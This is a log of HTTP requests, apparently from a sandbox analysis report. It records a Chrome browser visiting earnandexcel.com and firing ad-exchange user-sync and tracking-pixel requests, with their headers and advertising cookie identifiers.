Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=mediagrid&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=thirty_three_across&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=212556691801834 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /ps/?xi=99&us_privacy=&xu=y-dtW6JvRE2uEAdSwHz2TdJClVA1i72bFF~A HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=396660830&iiqidtype=2&iiqpcid=001fa0cd-4d4e-4d5f-bf82-4211a8a61316&iiqpciddate=1712870818876&tsrnd=660_1712870818889&jsver=5.086&uh=%7B%220%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117%5C%22%22%2C%221%22%3A%22%3F0%22%2C%222%22%3A%22%5C%22Windows%5C%22%22%2C%223%22%3A%22%5C%22x86%5C%22%22%2C%224%22%3A%22%5C%2264%5C%22%22%2C%226%22%3A%22%5C%2210.0.0%5C%22%22%2C%227%22%3A%22%3F0%22%2C%228%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228.0.0.0%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%22%7D HTTP/1.1Host: sync.intentiq.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/ld/publishertag.ids.js HTTP/1.1Host: static.criteo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D1---%26bidder_id%3D90%26external_user_id%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; uuid2=4283912458326592098
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CPaqHBIvCisIARCUaxokNTU5MmY5ODYtODc1Ny0wYWMyLTFmY2MtMzM5NmQwOGE0MjExEAAaDQimq-GwBhIFCOgHEABCAEoA HTTP/1.1Host: id.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=y1SSLrgr5TZ8D2UKhA2xIpBom156XVCECfr/E2lbaSw=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=ZhhVpQAFEfZtPwBa&_test=ZhhVpQAFEfZtPwBa HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537073061&val=7275991910677607931&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072991&val=CAESEGBawKPr45rbp_xkzYZlz1Y&google_cver=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=d3c52a71-4626-42f8-b765-7c4caff9dd34&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821
Source: global traffic	HTTP traffic detected: GET /bsw_sync?bidswitch_ssp_id=themediagrid&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent= HTTP/1.1Host: ads.creative-serving.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=283&user_id=cba816c0-1876-423f-b490-332de34b0d15&expires=1&user_group=5&ssp=gumgum2&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&gdpr_pd= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=sovrn&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=IebHALZHwpD5VNKxRXavSHiL HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=MmMzYjU1MmEtODM2Ny02MjA2LTU1NTUtZTlkYzIzZjNlZGE5 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
Source: global traffic	HTTP traffic detected: GET /usersync?b=opx&i=6278d413-3e00-4a00-9da5-aefd13eef9ae HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFKWUwwN01NS3NBQUJQdVJOY0xTdw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csyn%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
Source: global traffic	HTTP traffic detected: GET /usersync?b=pln&i=8CYd5xB94ljT&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1Host: rtb.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:FF4FA33AD55F4AFDAF353CD71FB72BED HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=8067674&p=157108&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=gumgum&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=u_a4cb566c-d29c-481c-82f5-d657255d141b HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=verizon&partnerId=y-UQyiIh9E2uJvF5IoIp_LflURMfQTltVc~A&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=-1 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=156078&xid=y-A2UXkupE2uXw2ttIdZaIB8OFnkwUuqs-~A&gdpr=0 HTTP/1.1Host: image4.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822
Source: global traffic	HTTP traffic detected: GET /ul_cb/server_match?&partner_id=1625&r=https://exchange.mediavine.com/usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=%7BPUB_USER_ID%7D HTTP/1.1Host: ice.360yield.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=8641df54-0b93-402c-9337-7ec42bdf44ca; tuuid_lu=1712870823
